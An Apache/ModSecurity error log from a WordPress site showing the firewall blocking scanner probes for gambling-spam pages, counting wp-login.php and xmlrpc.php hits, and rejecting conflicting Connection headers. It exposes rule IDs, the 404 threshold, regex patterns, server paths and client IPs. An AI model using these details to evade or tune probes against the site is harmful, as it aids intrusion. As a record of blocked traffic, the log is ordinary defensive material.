[Fri Feb 06 19:43:14.655108 2026] [:error] [pid 3382:tid 3445] [client 65.108.125.120:65308] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYXT0sIgU1HR0rhYrE86KwAAAIU"]
[Fri Feb 06 19:43:17.442699 2026] [:error] [pid 3477:tid 3503] [client 65.108.125.120:65320] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYXT1bL0Hdh40C7HYgVexgAAANg"]
[Fri Feb 06 19:43:20.013127 2026] [:error] [pid 3382:tid 3445] [client 65.108.125.120:18806] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYXT2MIgU1HR0rhYrE86OgAAAIU"]
[Fri Feb 06 19:43:22.679909 2026] [:error] [pid 3381:tid 3416] [client 65.108.125.120:18812] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYXT2i81zqRg96ZREghacwAAAEM"]
[Fri Feb 06 19:43:57.385991 2026] [:error] [pid 37019:tid 37039] [client 65.108.125.120:29080] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aYXT_QkAjqd3bcgYBrtYUAAAAhI"]
[Fri Feb 06 19:44:00.041278 2026] [:error] [pid 15821:tid 15837] [client 65.108.125.120:61070] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aYXUAHARQa67J4c772n-EQAAAQw"]
[Fri Feb 06 19:44:02.676377 2026] [:error] [pid 36857:tid 36883] [client 65.108.125.120:61076] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYXUApVQwfj7Kp4Dd0HlAQAAAZg"]
[Fri Feb 06 19:44:05.295058 2026] [:error] [pid 3381:tid 3430] [client 65.108.125.120:61096] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aYXUBS81zqRg96ZREghalQAAAFE"]
[Fri Feb 06 19:44:07.835109 2026] [:error] [pid 36857:tid 36861] [client 65.108.125.120:61122] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aYXUB5VQwfj7Kp4Dd0HlBwAAAYI"]
[Fri Feb 06 23:00:37.518051 2026] [:error] [pid 3381:tid 3430] [client 46.101.232.173:61781] [client 46.101.232.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.232.173, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYYCFS81zqRg96ZREgiCTgAAAFE"]
[Fri Feb 06 23:00:40.320283 2026] [:error] [pid 37019:tid 37025] [client 46.101.232.173:62035] [client 46.101.232.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.232.173, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYYCGAkAjqd3bcgYBrt11wAAAgQ"]
[Sat Feb 07 06:21:34.743961 2026] [:error] [pid 50672:tid 50711] [client 170.106.37.134:59482] [client 170.106.37.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYZpbg9o0jq1XS8Nv7OKZAAAAEM"]
[Sat Feb 07 11:48:38.358743 2026] [:error] [pid 50673:tid 50758] [client 159.89.167.156:62999] [client 159.89.167.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.167.156, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYa2FmVwLsaZ7aKO2clpuAAAAJc"]
[Sat Feb 07 11:48:41.216741 2026] [:error] [pid 43182:tid 43208] [client 159.89.167.156:64366] [client 159.89.167.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.167.156, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYa2GfEC82JnxmrnFYk6KAAAAVg"]
[Sat Feb 07 12:03:42.861416 2026] [:error] [pid 50672:tid 50716] [client 43.155.140.157:39476] [client 43.155.140.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aYa5ng9o0jq1XS8Nv7PcuwAAAEg"]
[Sat Feb 07 12:24:19.960946 2026] [:error] [pid 50780:tid 50792] [client 192.42.116.214:12822] [client 192.42.116.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.42.116.214, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYa-c-tUmIu2JHM2CrsTNwAAAMo"], referer: https://vetstars.com.au/xmlrpc.php?rsd
[Sat Feb 07 12:51:42.280518 2026] [:error] [pid 50672:tid 50731] [client 182.40.104.255:53098] [client 182.40.104.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aYbE3g9o0jq1XS8Nv7PkWwAAAFc"]
[Sat Feb 07 12:54:33.158281 2026] [:error] [pid 43182:tid 43205] [client 159.89.167.156:59465] [client 159.89.167.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.167.156, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYbFifEC82JnxmrnFYlICgAAAVU"]
[Sat Feb 07 13:04:14.472698 2026] [:error] [pid 50780:tid 50783] [client 159.89.167.156:61750] [client 159.89.167.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.167.156, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYbHzutUmIu2JHM2CrsdZAAAAME"]
[Sat Feb 07 13:09:58.886433 2026] [:error] [pid 55157:tid 55182] [client 147.135.252.177:33834] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYbJJn36JdtTn2bTEoxj4wAAARQ"]
[Sat Feb 07 13:10:01.449352 2026] [:error] [pid 50672:tid 50723] [client 147.135.252.177:38644] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYbJKQ9o0jq1XS8Nv7PniwAAAE8"]
[Sat Feb 07 13:10:04.132824 2026] [:error] [pid 50673:tid 50751] [client 147.135.252.177:46336] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYbJLGVwLsaZ7aKO2cmGPQAAAJA"]
[Sat Feb 07 13:10:06.777732 2026] [:error] [pid 50671:tid 50687] [client 147.135.252.177:46364] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYbJLrvqLohWBI_mqBNHTgAAAAc"]
[Sat Feb 07 13:10:09.390832 2026] [:error] [pid 58058:tid 58065] [client 147.135.252.177:46382] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYbJMbz-Qlvs65S4DP-u6wAAAYQ"]
[Sat Feb 07 13:10:12.005658 2026] [:error] [pid 50673:tid 50757] [client 147.135.252.177:46410] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYbJNGVwLsaZ7aKO2cmGRgAAAJY"]
[Sat Feb 07 13:10:14.550896 2026] [:error] [pid 50671:tid 50696] [client 147.135.252.177:36062] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYbJNrvqLohWBI_mqBNHUQAAABA"]
[Sat Feb 07 13:10:17.071560 2026] [:error] [pid 43182:tid 43196] [client 147.135.252.177:36082] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYbJOfEC82JnxmrnFYlLQwAAAUw"]
[Sat Feb 07 13:10:19.710378 2026] [:error] [pid 55157:tid 55163] [client 147.135.252.177:36094] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aYbJO336JdtTn2bTEoxj8AAAAQE"]
[Sat Feb 07 13:10:22.240082 2026] [:error] [pid 50780:tid 50801] [client 147.135.252.177:36096] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYbJPutUmIu2JHM2Crse9wAAANM"]
[Sat Feb 07 13:10:24.765022 2026] [:error] [pid 50672:tid 50725] [client 147.135.252.177:43986] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYbJQA9o0jq1XS8Nv7PnmgAAAFE"]
[Sat Feb 07 13:10:27.352916 2026] [:error] [pid 50672:tid 50721] [client 147.135.252.177:43992] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYbJQw9o0jq1XS8Nv7PnoAAAAE0"]
[Sat Feb 07 13:10:29.900846 2026] [:error] [pid 50671:tid 50699] [client 147.135.252.177:44008] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYbJRbvqLohWBI_mqBNHXQAAABM"]
[Sat Feb 07 13:10:32.598254 2026] [:error] [pid 55157:tid 55170] [client 147.135.252.177:44028] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYbJSH36JdtTn2bTEoxkBAAAAQg"]
[Sat Feb 07 13:10:35.150132 2026] [:error] [pid 50673:tid 50741] [client 147.135.252.177:39554] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYbJS2VwLsaZ7aKO2cmGXgAAAIY"]
[Sat Feb 07 13:10:37.612926 2026] [:error] [pid 43182:tid 43201] [client 147.135.252.177:39558] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYbJTfEC82JnxmrnFYlLYAAAAVE"]
[Sat Feb 07 13:10:40.135385 2026] [:error] [pid 50780:tid 50802] [client 147.135.252.177:39566] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYbJUOtUmIu2JHM2CrsfHQAAANQ"]
[Sat Feb 07 13:10:42.785095 2026] [:error] [pid 58058:tid 58072] [client 147.135.252.177:39590] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYbJUrz-Qlvs65S4DP-vOAAAAYs"]
[Sat Feb 07 13:10:45.276990 2026] [:error] [pid 43182:tid 43193] [client 147.135.252.177:48730] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aYbJVfEC82JnxmrnFYlLZAAAAUk"]
[Sat Feb 07 13:10:47.819816 2026] [:error] [pid 50673:tid 50736] [client 147.135.252.177:48750] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYbJV2VwLsaZ7aKO2cmGcwAAAIE"]
[Sat Feb 07 13:10:50.459883 2026] [:error] [pid 43182:tid 43199] [client 147.135.252.177:48752] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aYbJWvEC82JnxmrnFYlLaQAAAU8"]
[Sat Feb 07 13:10:52.971724 2026] [:error] [pid 58058:tid 58068] [client 147.135.252.177:48774] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYbJXLz-Qlvs65S4DP-vQwAAAYc"]
[Sat Feb 07 13:11:19.456414 2026] [:error] [pid 55157:tid 55176] [client 147.135.252.177:54740] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aYbJd336JdtTn2bTEoxkLAAAAQ4"]
[Sat Feb 07 13:17:53.107288 2026] [:error] [pid 50673:tid 50747] [client 159.89.167.156:63970] [client 159.89.167.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.167.156, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYbLAWVwLsaZ7aKO2cmJEwAAAIw"]
[Sat Feb 07 13:33:23.477231 2026] [:error] [pid 50672:tid 50708] [client 159.89.167.156:49784] [client 159.89.167.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.167.156, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYbOow9o0jq1XS8Nv7PtPwAAAEA"]
[Sat Feb 07 13:49:01.448395 2026] [:error] [pid 43182:tid 43194] [client 159.89.167.156:51970] [client 159.89.167.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.167.156, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYbSTfEC82JnxmrnFYlVBwAAAUo"]
[Sat Feb 07 17:16:31.947280 2026] [:error] [pid 58058:tid 58071] [client 170.106.163.48:56208] [client 170.106.163.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYcC77z-Qlvs65S4DP_sEgAAAYo"]
[Sat Feb 07 19:18:52.296278 2026] [:error] [pid 55157:tid 55167] [client 110.166.71.39:35704] [client 110.166.71.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYcfnH36JdtTn2bTEoy1MAAAAQU"]
[Sat Feb 07 20:38:32.603398 2026] [:error] [pid 50673:tid 50737] [client 43.133.220.37:43492] [client 43.133.220.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aYcySGVwLsaZ7aKO2ckFnQAAAII"]
[Sat Feb 07 22:01:04.248426 2026] [autoindex:error] [pid 50671:tid 50694] [client 31.171.130.110:65445] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:01:04.741937 2026] [autoindex:error] [pid 50671:tid 50687] [client 31.171.130.110:65445] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:01:05.242320 2026] [autoindex:error] [pid 50671:tid 50691] [client 31.171.130.110:65445] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 07 22:01:05.785607 2026] [autoindex:error] [pid 50671:tid 50690] [client 31.171.130.110:65445] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 08 00:46:20.332723 2026] [:error] [pid 17001:tid 17026] [client 62.84.185.60:59866] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYdsXN0X31QDRSlPKmRgqAAAAYo"]
